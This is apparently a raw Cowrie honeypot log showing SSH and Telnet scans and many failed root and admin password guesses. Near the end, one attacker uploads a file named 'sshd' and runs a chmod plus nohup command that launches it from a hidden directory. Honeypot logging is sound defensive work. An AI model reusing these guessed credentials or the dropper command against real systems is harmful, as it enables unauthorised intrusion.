S":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:36:33.285756Z","src_ip":"38.93.206.2","session":"b77d79c90126","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"andruhova.1982","message":"login attempt [root/andruhova.1982] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:36:33.436679Z","src_ip":"38.93.206.2","session":"b77d79c90126","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:36:34.495977Z","src_ip":"38.93.206.2","session":"b77d79c90126","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":34888,"dst_ip":"159.203.135.109","dst_port":23,"session":"e41794a13029","protocol":"telnet","message":"New connection: 107.6.151.170:34888 (159.203.135.109:23) [session: e41794a13029]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:36:42.010345Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":55624,"dst_ip":"159.203.135.109","dst_port":23,"session":"19b5c96c9330","protocol":"telnet","message":"New connection: 107.6.151.170:55624 (159.203.135.109:23) [session: 19b5c96c9330]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:36:57.409378Z"}
{"eventid":"cowrie.session.closed","duration":27.859729528427124,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:37:09.869939Z","src_ip":"107.6.151.170","session":"e41794a13029","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.137","src_port":40380,"dst_ip":"10.17.0.5","dst_port":22,"session":"342de2254b26","protocol":"ssh","message":"New connection: 195.178.110.137:40380 (10.17.0.5:22) [session: 342de2254b26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:37:10.314469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:37:10.318453Z","src_ip":"195.178.110.137","session":"342de2254b26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:37:10.411568Z","src_ip":"195.178.110.137","session":"342de2254b26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"","message":"login attempt [admin/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:37:10.675057Z","src_ip":"195.178.110.137","session":"342de2254b26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:37:11.760111Z","src_ip":"195.178.110.137","session":"342de2254b26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":51834,"dst_ip":"159.203.135.109","dst_port":22,"session":"b495b6b41fd0","protocol":"ssh","message":"New connection: 51.250.105.222:51834 (159.203.135.109:22) [session: b495b6b41fd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:37:16.158914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:37:16.164215Z","src_ip":"51.250.105.222","session":"b495b6b41fd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:37:16.284908Z","src_ip":"51.250.105.222","session":"b495b6b41fd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:37:16.649122Z","src_ip":"51.250.105.222","session":"b495b6b41fd0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:37:17.771026Z","src_ip":"51.250.105.222","session":"b495b6b41fd0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.190.244.176","src_port":54594,"dst_ip":"10.17.0.5","dst_port":22,"session":"26f46ed8ebe6","protocol":"ssh","message":"New connection: 189.190.244.176:54594 (10.17.0.5:22) [session: 26f46ed8ebe6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:37:25.325915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:37:25.329408Z","src_ip":"189.190.244.176","session":"26f46ed8ebe6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:37:25.403182Z","src_ip":"189.190.244.176","session":"26f46ed8ebe6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345678.com","message":"login attempt [root/12345678.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:37:25.733622Z","src_ip":"189.190.244.176","session":"26f46ed8ebe6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:37:26.808688Z","src_ip":"189.190.244.176","session":"26f46ed8ebe6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.532359838485718,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:37:28.941616Z","src_ip":"107.6.151.170","session":"19b5c96c9330","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.202.230.81","src_port":59548,"dst_ip":"10.17.0.5","dst_port":22,"session":"b64e3a1aadeb","protocol":"ssh","message":"New connection: 213.202.230.81:59548 (10.17.0.5:22) [session: b64e3a1aadeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:37:41.639745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:37:41.643568Z","src_ip":"213.202.230.81","session":"b64e3a1aadeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:37:41.730483Z","src_ip":"213.202.230.81","session":"b64e3a1aadeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"borrow456","message":"login attempt [root/borrow456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:37:41.994462Z","src_ip":"213.202.230.81","session":"b64e3a1aadeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:37:43.083603Z","src_ip":"213.202.230.81","session":"b64e3a1aadeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.215.213.210","src_port":47742,"dst_ip":"159.203.135.109","dst_port":22,"session":"ce0cd1a2fd8e","protocol":"ssh","message":"New connection: 162.215.213.210:47742 (159.203.135.109:22) [session: ce0cd1a2fd8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:38:26.290816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:38:26.295281Z","src_ip":"162.215.213.210","session":"ce0cd1a2fd8e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:38:26.377357Z","src_ip":"162.215.213.210","session":"ce0cd1a2fd8e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"V0y@g3r!S3cur3#W0rd","message":"login attempt [root/V0y@g3r!S3cur3#W0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:38:26.629928Z","src_ip":"162.215.213.210","session":"ce0cd1a2fd8e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:38:28.573822Z","src_ip":"162.215.213.210","session":"ce0cd1a2fd8e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.137","src_port":45980,"dst_ip":"10.17.0.5","dst_port":22,"session":"af9c0e4015a4","protocol":"ssh","message":"New connection: 195.178.110.137:45980 (10.17.0.5:22) [session: af9c0e4015a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:38:41.050384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:38:41.107790Z","src_ip":"195.178.110.137","session":"af9c0e4015a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:38:41.131245Z","src_ip":"195.178.110.137","session":"af9c0e4015a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:38:41.443434Z","src_ip":"195.178.110.137","session":"af9c0e4015a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:38:42.524331Z","src_ip":"195.178.110.137","session":"af9c0e4015a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"118.145.131.27","src_port":39474,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d54a50f5d0c","protocol":"ssh","message":"New connection: 118.145.131.27:39474 (10.17.0.5:22) [session: 1d54a50f5d0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:38:45.081976Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:38:45.099641Z","src_ip":"118.145.131.27","session":"1d54a50f5d0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:38:45.319376Z","src_ip":"118.145.131.27","session":"1d54a50f5d0c","protocol":"ssh"}
{"eventid":"cowrie.session.file_upload","filename":"sshd","outfile":"var/lib/cowrie/downloads/94f2e4d8d4436874785cd14e6e6d403507b8750852f7f2040352069a75da4c00","shasum":"94f2e4d8d4436874785cd14e6e6d403507b8750852f7f2040352069a75da4c00","message":"SFTP Uploaded file \"sshd\" to var/lib/cowrie/downloads/94f2e4d8d4436874785cd14e6e6d403507b8750852f7f2040352069a75da4c00","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:38:45.480559Z","src_ip":"13.234.134.227","session":"562e09302803","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:38:46.139548Z","src_ip":"13.234.134.227","session":"562e09302803","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"chmod +x ./.6016941050135047181/sshd;nohup ./.6016941050135047181/sshd  &","message":"CMD: chmod +x ./.6016941050135047181/sshd;nohup ./.6016941050135047181/sshd  &","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:38:46.141903Z","src_ip":"13.234.134.227","session":"562e09302803","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin2025@","message":"login attempt [root/admin2025@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T23:38:46.281332Z","src_ip":"118.145.131.27","session":"1d54a50f5d0c","protocol":"ssh"}
